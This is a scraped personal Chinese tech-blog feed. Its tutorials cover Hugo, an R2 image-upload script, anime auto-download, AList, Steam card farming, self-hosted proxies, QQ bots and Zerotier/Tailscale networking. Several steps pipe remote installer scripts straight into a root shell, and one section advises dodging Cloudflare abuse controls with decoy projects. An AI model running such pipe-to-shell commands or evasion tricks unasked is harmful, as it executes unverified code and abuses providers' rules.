'' --- </code></pre> 接下来我们就可以通过命令来创建文章，并开始写作了。注意，最终构建的文章URL是你的文章的文件名。比如：https://你的网站.com/posts/first</code> 所以文章文件名尽量简短，这并不会影响你的文章标题 hugo new posts/first.md </code></pre> 当我们写完一篇文章想要预览网站，可以使用 hugo server </code></pre> 当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 myblog</code> 作为一个Git存储库提交到Github 根目录：./</code> 输出目录：public</code> 构建命令：hugo --gc</code> 环境变量： Key：HUGO_VERSION</code> Value：0.145.0</code> 对象存储存图中间件代码：</h3> import keyboard import pyperclip from PIL import ImageGrab, Image import io import boto3 from botocore.config import Config import time import uuid import pyautogui import os from io import BytesIO # 示例配置 # # R2 配置 # R2_CONFIG = { # 'account_id': '11111111111111111', # 'access_key_id': '11111111111111111', # 'secret_access_key': '11111111111111111', # 'bucket_name': '11111111111111111' # } # # OSS 配置 # OSS_CONFIG = { # 'url': 'sb-eo-r2.2x.nz', # 'prefix': '/fuwari-blog/img' # } ######################################################### # R2 配置 R2_CONFIG = { 'account_id': '', 'access_key_id': '', 'secret_access_key': '', 'bucket_name': '' } # OSS 配置 OSS_CONFIG = { 'url': '', 'prefix': '' } ######################################################### def init_r2_client(): """初始化 R2 客户端""" return boto3.client( 's3', endpoint_url=f'https://{R2_CONFIG["account_id"]}.r2.cloudflarestorage.com', aws_access_key_id=R2_CONFIG['access_key_id'], aws_secret_access_key=R2_CONFIG['secret_access_key'], config=Config(signature_version='s3v4'), region_name='auto' ) def get_image_from_clipboard(): """从剪贴板获取图片""" try: image = ImageGrab.grabclipboard() if image is None: return None # 如果是列表（多个文件），取第一个 if isinstance(image, list): if len(image) > 0: # 如果是图片文件路径，打开它 try: return Image.open(image[0]) except Exception as e: print(f"打开图片文件失败: {e}") return None return None # 如果直接是 Image 对象 if isinstance(image, Image.Image): return image return None except Exception as e: print(f"获取剪贴板图片失败: {e}") return None def convert_to_webp(image): """将图片转换为 webp 格式""" if not image: return None try: buffer = BytesIO() # 确保图片是 RGB 模式 if image.mode in ('RGBA', 'LA'): background = Image.new('RGB', image.size, (255, 255, 255)) background.paste(image, mask=image.split()[-1]) image = background elif image.mode != 'RGB': image = image.convert('RGB') image.save(buffer, format="WEBP", quality=80) return buffer.getvalue() except Exception as e: print(f"转换图片失败: {e}") return None def upload_to_r2(image_data): """上传图片到 R2""" if not image_data: return None client = init_r2_client() # 生成基础文件名 base_filename = f"{uuid.uuid4()}.webp" filename = base_filename try: # 检查文件是否已存在 attempt = 1 while True: try: # 尝试获取文件信息，如果文件存在会返回数据，不存在会抛出异常 client.head_object( Bucket=R2_CONFIG['bucket_name'], Key=f"{OSS_CONFIG['prefix'].strip('/')}/{filename}" ) # 如果文件存在，修改文件名 name_without_ext = base_filename.rsplit('.', 1)[0] filename = f"{name_without_ext}_{attempt}.webp" attempt += 1 print(f"文件名已存在，尝试重命名为: {filename}") except client.exceptions.ClientError as e: # 如果是 404 错误，说明文件不存在，可以使用这个文件名 if e.response['Error']['Code'] == '404': break raise e # 其他错误则抛出 # 上传文件 client.put_object( Bucket=R2_CONFIG['bucket_name'], Key=f"{OSS_CONFIG['prefix'].strip('/')}/{filename}", Body=image_data, ContentType='image/webp' ) return filename except Exception as e: print(f"上传失败: {e}") return None def generate_markdown_link(filename): """生成 Markdown 图片链接""" if not filename: return None url = f"https://{OSS_CONFIG['url']}{OSS_CONFIG['prefix']}/{filename}" return f"![]({url})" def type_markdown_link(markdown_link): """模拟键盘输入 Markdown 链接""" if not markdown_link: return pyperclip.copy(markdown_link) pyautogui.hotkey('ctrl', 'v') def handle_upload(): """处理图片上传的主函数""" print(f"\n[{time.strftime('%Y-%m-%d %H:%M:%S')}] 收到粘贴请求") print("正在检查剪贴板...") # 获取剪贴板图片 image = get_image_from_clipboard() if not image: print("❌ 剪贴板中没有图片") return print("✅ 获取到剪贴板图片") # 转换为 webp print("正在转换为 WebP 格式...") image_data = convert_to_webp(image) if not image_data: print("❌ 图片转换失败") return print(f"✅ 转换完成，大小: {len(image_data)/1024:.2f}KB") # 上传到 R2 print("正在上传到 R2...") filename = upload_to_r2(image_data) if not filename: print("❌ 上传失败") return print(f"✅ 上传成功，文件名: {filename}") # 生成并输入 Markdown 链接 markdown_link = generate_markdown_link(filename) if markdown_link: print(f"生成的 URL: https://{OSS_CONFIG['url']}{OSS_CONFIG['prefix']}/{filename}") print(f"模拟键入: {markdown_link}") type_markdown_link(markdown_link) print("✅ 操作完成") def main(): """主函数""" print("=" * 50) print("R2 图片上传插件已启动") print(f"当前配置:") print(f"- OSS 域名: {OSS_CONFIG['url']}") print(f"- 存储路径: {OSS_CONFIG['prefix']}") print(f"- R2 存储桶: {R2_CONFIG['bucket_name']}") print("使用 Ctrl+Alt+V 上传剪贴板中的图片") print("=" * 50) # 注册快捷键 keyboard.add_hotkey('ctrl+alt+v', handle_upload) # 保持程序运行 keyboard.wait() if __name__ == "__main__": main() </code></pre> 教你搭建自己的番剧库，实现自动追番！ 2025-02-25T00:00:00+00:00 每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名</li> 刮削软件（如Plex，飞牛影视设置定时搜索媒体库）</li> 你只需要选番，然后等待下载和看就行了实际并非</del></li> </ol> 安装qbittorrent</h3> 用于下载番剧 </blockquote> 各系统安装方法各有不同。如果你安装的是非nox版本，记得在设置打开WebUI，并监听0.0.0.0:8080 Windows：SourceForge</a> Linux：apt/yum install qbittorrent-nox</code> Docker：https://github.com/linuxserver/docker-qbittorrent Tracker服务器大全：中国可用的 BT Tracker 服务器列表，每24小时自动更新 - 小小编程</a> 安装AutoBangumi</a></h3> 用于获取你订阅的番剧并在更新时自动发起下载任务 </blockquote> 安装Docker，各系统安装方式各有不同 </li> 找一个你喜欢的文件夹创建docker-compose.yaml</code> ，并写入内容： </li> </ol> version: "3.8" services: AutoBangumi: image: ghcr.io/estrellaxd/auto_bangumi:latest container_name: AutoBangumi volumes: - ./config:/app/config - ./data:/app/data ports: - "7892:7892" network_mode: bridge restart: unless-stopped dns: - 223.5.5.5 environment: - TZ=Asia/Shanghai - PGID=$(id -g) - PUID=$(id -u) - UMASK=022 </code></pre> 运行命令：docker compose up -d </li> 进入localhost:7892 ，默认账号：admin，默认密码：adminadmin </li> 点左边的设置图标 -> 下载设置，填入下载器信息，然后点击右下角的应用，直到右上角亮绿灯 </li> </ol> 前往蜜柑计划，注册账号，并订阅你想要的番剧（复制） </li> 回到 AutoBangumi，点击右上角的 +，添加 RSS（粘贴） </li> 静静等待，不出意外 AutoBangumi 会自动下载你订阅的番剧了（如果没有可以查看AutoBangumi的日志，或者尝试重启容器） </li> </ol> 下载旧集或已完结番剧</h3> 首先推荐几个资源网（梯子自备）： ACG.RIP</a></li> 末日动漫资源网</a></li> 蜜柑计划国内直连：1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站：https://mikanani.longc.top</li> 蜜柑计划需翻墙：https://mikanani.me 然后找你想要的番剧下载</li> </ol> 规范重命名</h4> 为了让软件能正确刮削元数据和剧集，我们需要规范重命名。 </blockquote> 注意！你只需要确保番剧名正确就可以了！子目录可以通过后面的脚本自动重命名！如果你不确定番剧名请前往TMDB搜索：The Movie Database (TMDB) </a> 一级目录（qb 设置的下载目录）：不需要重命名 </blockquote> 二级目录（番剧名，必须正确）：总之就是非常可爱 </blockquote> 三级目录：（番剧的哪一季）：Season 1 </blockquote> 四级目录：（番剧的哪一季的哪一集）：S01E01.MP4 </blockquote> 前往Episode-ReName，克隆仓库</del> （已被删库，可尝试Episode-ReName.zip | Onani-AList</a> )</del> AList已死，请尝试天翼云盘： https://cloud.189.cn/web/share?code=iQVjUnzE7fQj （访问码：i8sk） </li> Win 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名。若使用.py 脚本则只能通过python3 EpisodeReName.py "D:/qbdownloads/bangumi"</code> </li> </ol> 小贴士： 可以使用RaiDrive</a>或SSHFS</a>将远程的Linux文件映射到Windows上，管理番剧更方便 安装 Plex（或者安装飞牛云NAS）</h3> 用于观看番剧 </blockquote> 下载Plex Media Server </li> 启动。默认端口 32400（如果进去是一堆乱码，添加/web后缀。例如：192.168.124.25:32400/web） </li> 选择你的媒体库文件夹 </li> 开启远程访问，右上角设置 -> 远程访问 </li> </ol> 图为飞牛影视 爽看 我买了个新NAS... 2025-02-23T00:00:00+00:00 这其实是一个老生常谈的问题，就像你问我为什么要开始写博客，我也只能给你一个答案，我想这么做。 好吧好吧，这个答案可能过于敷衍，如果让我仔细想想，应该说当时我已经有了不少的Linux理论知识和实操经验（通过云服务器），所以就想自己弄一个24h小时不关机的小主机放在家里玩（家里云）。 一开始，我只是用它挂了QQBot，这也是我最初最想要干的事情，因为如果我去花钱买国内的云服务器挂Bot那太贵了，国外的服务器延迟又太高，拿自己的手机电脑是一个很好的选择，我的朋友就曾使用过Shamrock（？？？）来挂Bot。不过这并不适用于我，在当时，我的所有设备（包括手机、平板、电脑）都各司其职，还要天天陪我出勤，根本做不到24h不关机，我总不能说我电脑/手机/平板断网Bot就下线吧，而且我也很讨厌将个人设备的一部分作为服务器使用，就像你在玩崩坏：星穹铁道的时候后台挂着Stable Diffusion一样（而且不符合Unix哲学）</del>。 其实很早我就曾使用过旧手机+Termux达到家里云的效果了，但是因为手机芯片是Arm64，而大部分运维软件都是AMD64（x86）架构的。对于开源软件还好说，只需要自己费劲编译一个版本（或者嫖Github Action的编译）</del> 就可以去使用了。但是对于经常摸云服务器的我来说，还是喜欢x86架构的开箱即用，也可以顺势装上一些运维管理面板辅助使用。 那么就只有一个解了，那就是买一个x86小主机。你可能注意到了，我说了这么久我为什么要买一个x86小主机作为家里云使用，但是通篇没有提NAS三个字，这是为什么呢，正所谓饱暖思淫欲。 如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的，所以那段时间我就开始天天折腾，但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储，那么既然是网络附属存储，那必然要干什么？欸对！狠狠塞盘！但是实际上那一款小主机只有一个M.2和一个SATA插槽，而且M.2已经作为系统盘了，而SATA插槽也是只能插2.5寸的硬盘。 人话来说，这完全就不是一个NAS，单盘位算NAS吗？只是一个容量比较大的家里云罢了。我说到这里你可能都会在想，那你为什么还要买呢？欸这你就不知道了，我曾经在2017年买过一个ASUS的双核笔记本，而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘，高达512G，虽然这个主机做不了RAID，也塞不进多盘（其实可以，后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0）</del> ，但是它确实能做到24h不关机，N100的性能也足够用，也够我折腾各种乱七八糟的东西了。 于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统，基本把常用Linux发行版全跑了一遍，也体验了PVE里面跑飞牛的嵌套操作，那段时间天天都有新东西可以折腾，还是很爽的。 那么话又说回来，既然我已经卖掉了那个小主机，这又是为什么呢？</h1> 缺钱，但是不知道在缺什么钱。哈哈，写到这里真是把我也笑到了，从众心理是真的很害人，我们都知道2024年末苹果发布了Mac Mini，16+256G+教育优惠不到4k就能买到全新机，而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好，然后一时上头就把能当的全部当了（我纱布一个，不仅是小主机惨遭毒手，还有Redmi Book Pro 15S，Redmi G，XiaomiPad 6等等）</del> 。 总算是凑够钱线下提机了，到手傻眼了，苹果的M4芯片是Arm架构的，很多东西都跑不了，Docker调用不了GPU，说白了这东西对我来说就是，性能强大的家庭服务器，但是我不会用，那么聪明的二叉树树做了一件什么事呢？在可以7天无理由的情况下毅然决然挂到闲鱼，以高价3333人民币卖出（购入是4k左右，折下来净亏1k）</del> 。 最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500，最终3299人民币到手的超高性能甜品机。 主播主播，你的操作还是太笨比了，后续有没有什么更笨比的操作啊！</h1> 有的，兄弟有的，就在刚刚！下单了一个新NAS，我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾，但可惜那时我已经佛了，被各种事情忙的不可开交。但是话又说回来，现在，我前所未有的感到空闲，我将带领我的大脑，我的身体，我的精神，开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴 哈哈！我一定要活下去口牙！ 后续搞机有成也会写新博文的，确实很久没写了，我向大家道歉，看着网站每天20的日活真的要哭了，你们都不来找我呜呜呜呜呜呜呜 利用阿里云云函数 FC 搭建AList后端，每月仅需5毛！ 2025-01-13T00:00:00+00:00 推荐Akile：https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e 原理</h1> AList前端有一个专门的项目：https://github.com/AlistGo/alist-web 。可前往AList-Web部署教程</a>。教程使用了Cloudflare Page进行前端部署，我们更建议你使用 https://vercel.com 来进行前端部署，因为更快。这些都完全免费</li> 部署完毕前端后，我们就需要一个后端，它需要能够执行AList的二进制文件，并且能开放端口（默认为5244）来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器，或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算，它虽然可以运行二进制文件，但是和传统架构大相径庭，我们要深入了解。</li> FC函数是一个实例性服务。用户可以创建函数部署服务，当一定条件被触发（比如HTTP触发器）则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的，如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署，在部署后也无法对其进行更改，所以我们需要绑定一个NAS文件系统，用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录，我们可以使用AList的指定配置文件参数，将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 ./alist server --data /mnt/AList 命令来启动，这样就做到了数据持久化。</li> </ol> 关于计费</h1> FC函数通过CU数来收费</li> NAS通过存储空间来收费</li> </ol> 实操</h1> 我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义</li> 我们目前并不知道这个后端URL如何填写，因为这个URL是由阿里云在FC函数创建完毕的时候才会展示，所以我们暂且搁置到一遍</li> 接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com/overview</li> 依次点击左侧边栏的函数 -> 创建函数 -> Web函数。进入到创建Web函数的页面</li> 函数名称填写AList，运行环境选择Debian 10或Debian 11，代码上传方式选择从文件夹上传代码，启动命令填写：./alist server --data /mnt/AList，监听端口填写5244</li> 我们需要上传代码到函数，也就是AList的二进制文件，我们前往 https://github.com/AlistGo/alist/releases/latest 下载最新的Linux AMD64架构的二进制文件，也就是 alist-linux-amd64.tar.gz。将其解压，你会得到一个名为 alist的二进制文件，创建一个空文件夹将其放进去，然后上传这个文件夹到函数</li> </ol> 然后点击左下角的创建 </li> 然后你会进入到函数的控制面板，依次点击配置 -> 网络 -> 网络编辑 -> 允许访问VPC:是 -> 自动配置。依次点击配置 -> 存储 -> NAS文件存储编辑 -> 挂载 NAS 文件系统:启用 -> 自动配置。依次点击日志 -> 开通日志服务 </li> 现在回到代码界面，点击部署代码。稍等片刻会提示部署成功，然后点击函数详情内的 HTTP触发器，复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL，将其填写进去，例如 VITE_API_URL = "https://aliyun-fc-alist.run" </code></pre> </li> 提交你的新更改，前端会自动重新构建 </li> 尝试直接访问你的AList前端URL，它应该会顺利进入到AList的登录页面 </li> 此时查看控制面板的实例是否有一条新的实例正在工作，如果有，再前往日志查看该实例日志，你会看到AList初始化时生成的管理员密码，拿这个密码到前端URL登录AList，然后就可以正常使用了 </li> </ol> 疑难解答</h1> 如果出现正在加载储存：查看你的日志，是否有存储加载失败，如果有可以尝试：反复重新部署，直到能进后台然后删除那些加载失败的存储</li> https://github.com/AlistGo/alist/discussions/3976</li> </ol> </li> </ol> 使用ArchiSteamFarm进行Steam自动挂卡 2024-12-18T00:00:00+00:00 Windows x86/Arm64 Linux x86/Arm64/Arm32 OS X x86/Arm64 （和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译） 安装&使用 ArchiSteamFarm</h1> https://github.com/JustArchiNET/ArchiSteamFarm 或前往Release：https://github.com/JustArchiNET/ArchiSteamFarm/releases/latest 下载你适用于你作业系统的可执行文件的压缩包 启动ArchiSteamFarm 等待终端输出WebUI地址，进入 添加机器人，简单配置即可 如果你配置了Steam手机验证器，此时应该会弹出登录请求，允许它。然后前往终端界面输入 Y 并回车此时终端应该输出：成功以 XXXXXXXXXX 的身份登录。 如果此时登录的账号未被占用，则自动开始挂卡。 ASF并不会干扰你的正常使用Steam的行为，当账号被占用时，ASF会暂停挂卡，直到账号未被占用，这个过程是全自动的，无需手动干涉 ASF可以视为一个无头Steam客户端，它不仅能挂卡，还能做更多事情，详见：https://github.com/JustArchiNET/ArchiSteamFarm/wiki 关于Rewrite MV无法播放/没有画面的解决方法 2024-11-28T00:00:00+00:00 安装这个即可 然后游戏内改为Windows Media Player 汉化组提供的解决方法</h1> 安装：K-Lite Basic解码器</a> 然后游戏内改为 MCI 自建正向代理服务器 2024-11-22T00:00:00+00:00 下面内容参考自：CF VLESS 从入门到精通 cmliu/edgetunnel 必看内容免费节点优选订阅 Workers & Pages CM喂饭干货满满24 | CMLiussss Blog</a> 请支持原创作者！ https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到你的Cloudflare Pages项目（没有Cloudflare账号？先去因特网上搜索教程注册一个！如果遇到卡慢可以试试看科学上网）</li> 进入 https://it-tools.tech/uuid-generator 随机获取一个uuid</li> 添加一个名称为UUID</code>的变量绑定，值为第二步随机获取的（请不要泄露给他人！）</li> 重新上传第一步的main.zip</code>。让Cloudflare重新部署page以适配新变量</li> 前往Pages项目 -> 自定义域：绑定自定义域名。（没有域名？推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程，这里不再赘述。也可以不绑定，直接使用cf分配的pages.dev</code>域名。但是，部分地区pages.dev</code>可能无法访问或者较易和谐）</li> 通过 https://你的自定义域名/uuid</code> 查看仪表盘</li> 如图复制链接，打开V2Ray，导入。V2Ray客户端下载地址在文章最后</li> </li> 500Mbps的移动宽带，通过edgetunnel测速速度如下。测速网址： https://fast.com</li> </li> 如果你就是想要最低延迟，可以去用cfnat，这里放一个Windows的链接： https://www.youtube.com/watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找</li> 注意！edgetunnel近期在Cloudflare新号上可能会报错1101，这可能并不是你的配置问题，而是被cf风控了。解决方案是删除原项目重新部署一遍，不要用一样的项目名！你也可以多弄几个其他的正常pages或workers项目做伪装！博主使用新号实测被gank了3次（每一次都换名字删除pages然后重新部署），然后一直稳定到现在</li> 本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额，所以请不要将自己的项目分享给别人，也不要拿去卖！自己注册简简单单！</li> 如图为博主半天的使用量：我只是上了上Telegram~</li> </li> </ol> 将你自己的国外VPS作为代理使用</h1> 使用新协议：Hysteria2</h2> 可以前往这两个仓库进行一键安装~ https://github.com/0x0129/hysteria2</a> https://github.com/seagullz4/hysteria2</a> 大致安装过程：自签名，不使用acme，不使用端口跳跃 客户端（Hiddify）： https://github.com/hiddify/hiddify-app</a> 其他客户端在第二个Github Repo获取 使用旧协议：V2Ray</h2> https://github.com/233boy/v2ray</a> VPS安装脚本：bash <(curl -s -L https://git.io/v2ray.sh)</code> 详细安装：脚本执行完毕后输入v2ray</code>更改配置为Shadowsocks Windows客户端： Releases · 2dust/v2rayN · GitHub</a> Android客户端： Releases · 2dust/v2rayNG · GitHub</a> 使用NoneBot2搭建你的QQBot！ 2024-11-20T00:00:00+00:00 用于登录 QQ 实现收发消息 </blockquote> 进入Release NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub</a>，下载NapCat.Shell.zip</code> </li> 将其解压到一个单独的文件夹，然后打开命令行，运行launcher.bat <BOT QQ号></code> </li> 运行后通过手机扫码登录 </li> 它会打印本地控制台的地址信息，如：[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1</code> </li> 直接进入，如图配置即可（端口号可以自己修改，但是要和下部分NoneBot2监听的端口一致。这里是9090） </li> </ol> 安装 NoneBot2</h1> 用于实现逻辑，控制 NapCat 收发消息 首先，你得装Python</a>。Windows可以使用 https://scoop.sh/ </li> pypi 清华源：pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple</code> </li> 装 pipx：pip install pipx</code>。你也可以使用scoop install pipx</code> </li> 设置 pipx 全局变量：pipx ensurepath</code> </li> 装 nb-cli：pipx install nb-cli</code> </li> 如果找不到 nb 命令： 对于 root 用户，你可以编辑 /root/.bashrc</code> 或 /root/.profile</code>（如果你使用的是 Bash）： nano /root/.bashrc</code> 添加以下行： export PATH="$HOME/.local/bin:$PATH"</code> 保存并重新加载配置： source /root/.bashrc</code> </li> 装 nb bootstrap：nb self install nb-cli-plugin-bootstrap</code> </li> 新建项目，选一个你喜欢的文件夹，然后：nb bs</code> （看不懂的就一路回车） </li> </ol> 示例： C:\afbot>nb bs 加载适配器列表中…… 请输入项目名称 [?] 请输入 > onanibot [?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议) 请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入） [?] 第 1 项 > 请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入） [?] 第 1 项 > 请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，如果有一个指令为查询，当该配置项中有 "/" 时使用 "/查询" 才能够触发，留空将使用默认值 ['', '/', '#']（留空回车结束输入） [?] 第 1 项 > 请输入 Bot 命令分隔符，一般用于二级指令，留空将使用默认值 ['.', ' ']（留空回车结束输入） [?] 第 1 项 > 请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可 [?] 请输入 > 127.0.0.1 请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关 [?] 请输入 > 8080 [?] 是否在项目目录中释出快捷启动脚本？ Yes [?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes [?] 是否使用超级用户 Ping 指令回复插件？ Yes [?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes [?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No 成功新建项目 onanibot [?] 是否新建虚拟环境？ Yes 正在 C:\afbot\onanibot\.venv 中创建虚拟环境创建虚拟环境成功 [?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No [?] 是否立即安装项目依赖？ Yes 正在安装项目依赖依赖安装成功 [?] 请选择需要启用的内置插件项目配置完毕，开始使用吧！ </code></pre> 项目创建完毕后启动：nb run</code> </li> 出现：[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected</code> 你就成功连接上 Lagrange 了 </li> 测试，发个/ping</code>，看是否出现Pong~ </li> 如果你要调试 NoneBot2，请先使用nb</code> 进入虚拟环境。然后使用pip install <包名></code> </li> </ol> Phira多人联机服务器搭建/使用教程 2024-11-06T00:00:00+00:00 https://github.com/afoim/phira-mp-autobuild</a> 这里有一些由Github Action自动构建的服务端文件，涵盖以下系统和架构 也可以前往Multiplayer Server | Dmocken的Phira下载站</a>自行寻找 寻找适用于你的系统的文件，下载下来并执行即可。默认服务端将会在你的主机12346端口上开放，如果需要自定义端口，请使用--port</code>参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接 *如果要显示Log，请使用 RUST_LOG=debug ./xxx</code> 去运行，默认日志等级是 WARN</code> 如果这些文件不适用于你正在使用的系统请前往自行构建（高级）</a>继续阅读 自行构建（高级）</h1> 由于phira-mp使用Rust编写，若想要自行构建需要在你的操作系统上安装Rust环境 对于Windows</h2> 前往Rust 下载页</a>，下载 Rust 打开后会弹出一个 CMD 窗口，输入 1（Quick Install）回车，等待 Visual Studio 安装（如果此步 Visual Studio 下载很慢也可以手动下载</a>） 在 Visual Studio 中，勾选使用 C++ 的桌面开发，然后安装然后请跳过 Linux 教程直接阅读[构建 phira-mp](# 使用Rust构建phira-mp) 对于Linux</h2> 执行：curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh</code> 选择 1 回车 执行：source $HOME/.cargo/env</code> 使用Rust构建phira-mp</h1> 克隆仓库：git clone https://github.com/TeamFlos/phira-mp.git</code>（不支持IPv6）或git clone https://github.com/afoim/phira-mp-autobuild.git</code>（支持IPv6） cd phira-mp</code>或cd phira-mp-autobuild</code> 更新依赖：cargo update</code> 构建：cargo build --release -p phira-mp-server</code> 运行程序并将 log 打印到终端，会显示你监听的端口：RUST_LOG=info target/release/phira-mp-server</code> （如果你需要指定端口号：RUST_LOG=info target/release/phira-mp-server --port 8080</code>） 究极喂饭教程，手把手教你内网穿透 2024-10-28T00:00:00+00:00 详细报表： </th> Zerotier</th> Tailscale</th></tr></thead> 单端DMZ（单端NAT1）</td> STUN</td> STUN</td></tr> 仅单端UPnP（单端NAT3）</td> UDP P2P</td> 玄学穿透</td></tr> 双端UPnP（双端NAT3）</td> UDP P2P</td> 玄学穿透</td></tr> 双端无UPnP/DMZ（双端NAT3/NAT4）</td> UDP P2P</td> 无法穿透</td></tr> 自建中继/握手节点</td> √</td> √</td></tr> </tbody></table> 其实实际情况会更加复杂一点，但是你只要有公网IPv6、UPnP、DMZ 中的其中一项，Zerotier就几乎是100%的打洞成功率 如何知道我是P2P还是中继？ ping你的对端设备，如果延迟大于200ms或者经常丢包大概率就是中继节点（也有小概率是你的设备负载过高导致无法及时接收和返回ping包） 啥是内网穿透？</h1> 当我们在家中有个NAS，想要在学校/公司的网络来访问，就需要用到内网穿透，实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量 前期准备</h1> 路由器开启UPnP 关闭路由器的IPv4，IPv6防火墙（可选） 使用Zerotier/Tailscale进行内网穿透</h1> 他们俩的原理都是尝试对端建立P2P连接，需要对端安装一个软件并且长期运行 </blockquote> 使用Zerotier进行内网穿透的详细教程</h1> 创建Zerotier账号</h2> 前往：ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN</a>。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能 选择 Sign up</code> 如果你到了这个界面，请仍然选择Sign up</code> 账号创建完毕后，登录即可 创建一个新的Zerotier网络组</h2> 当你账号登录成功后，会自动跳转到这个页面，点击Create A Network</code>。如果没有，请访问ZeroTier Central</a> 下面的列表会增加一个新的网络组，点击它 Zerotier默认的网络组模式为Private</code>。即私密模式，哪怕别人知道了你的Network ID</code>尝试加入你的网络组也需要你进行验证 复制这个Network ID</code> 在设备上安装Zerotier应用</h1> Windows：</h2> 前往Download - ZeroTier</a>，下载exe安装文件 打开Zerotier 查看右下角托盘，按照图片操作加入网络组 这里可以查询到你的设备ID和你在这个网络组的IP 然后参考：Zerotier授权设备</a> Linux（飞牛OS）：</h2> 通过SSH连接上你的Linux设备 查看安装命令：Download - ZeroTier</a> 终端执行： curl -s https://install.zerotier.com | sudo bash</code> 看到这一行即安装完毕，后面那一串即你的设备ID： 加入网络：sudo zerotier-cli join 你的Network ID</code> 然后参考：Zerotier授权设备</a> Android（安卓）</h2> 下载客户端 Zerotier One：ZeroTier One APK Download for Android - Latest Version</a> </li> ZerotierFix：Releases · kaaass/ZerotierFix</a> </li> </ol> 如图操作 然后参考：Zerotier授权设备</a> Zerotier授权设备</h1> 前往Zerotier的网页控制台：ZeroTier Central</a> 授权刚才加入的设备 勾选然后保存 Zerotier访问测试</h1> 如果你同一个网络组里已经有两台以上的设备了，可以尝试ping一下测试连通性，请先确保两台设备不在同一个局域网（比如手机开流量，NAS用家里的无线网） IP可以在这里查看 ping测试： 使用Tailscale进行内网穿透的详细教程</h1> 创建Tailscale账号</h2> 前往：Tailscale</a>。如果你进不去，请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能 选择任意一个登录方式 账号创建完毕后，登录即可 在设备上安装Tailscale应用</h1> Windows：</h2> 前往Download · Tailscale</a>，下载exe安装文件 官方教程： Linux（飞牛OS）：</h2> 通过SSH连接上你的Linux设备 查看安装命令：Download · Tailscale</a> 终端执行： curl -fsSL https://tailscale.com/install.sh | sh</code> 等待安装完毕后输入：tailscale login</code> 打开弹出的浏览器窗口，登录你的账号即可 Android（安卓）</h2> 下载客户端（Google Play）：Download · Tailscale</a> 登录你的账号即可 Tailscale访问测试</h2> 前往Tailscale的网页控制台：Machines - Tailscale</a>。可以查看到每个设备Tailscale分配的IP ping测试 使用Cloudflare Tunnel进行内网穿透</h1> 这种方法可以不进行任何配置直接在公网上被访问，但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare </blockquote> 创建Cloudflare账号主页 | Cloudflare</a> 进入Cloudflare One</a>（需要绑定PayPal） 如图操作，创建一个Tunnel Docker方式</h2> 使用1Panel 复制如图的命令 将其粘贴，并且复制后面的令牌 1Panel应用商店搜索cloudflared</code> 填入令牌 然后前往查看IP</a> 使用命令运行 复制底下的命令然后SSH连接到Linux（飞牛OS）在终端输入 然后前往查看IP</a> 查看cloudflared的IP</h3> 因为我们是Docker模式，所以IP需要通过SSH终端输入ip a</code>来查看。我这里是192.168.124.34</code> root@n100-debian:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: ens18: 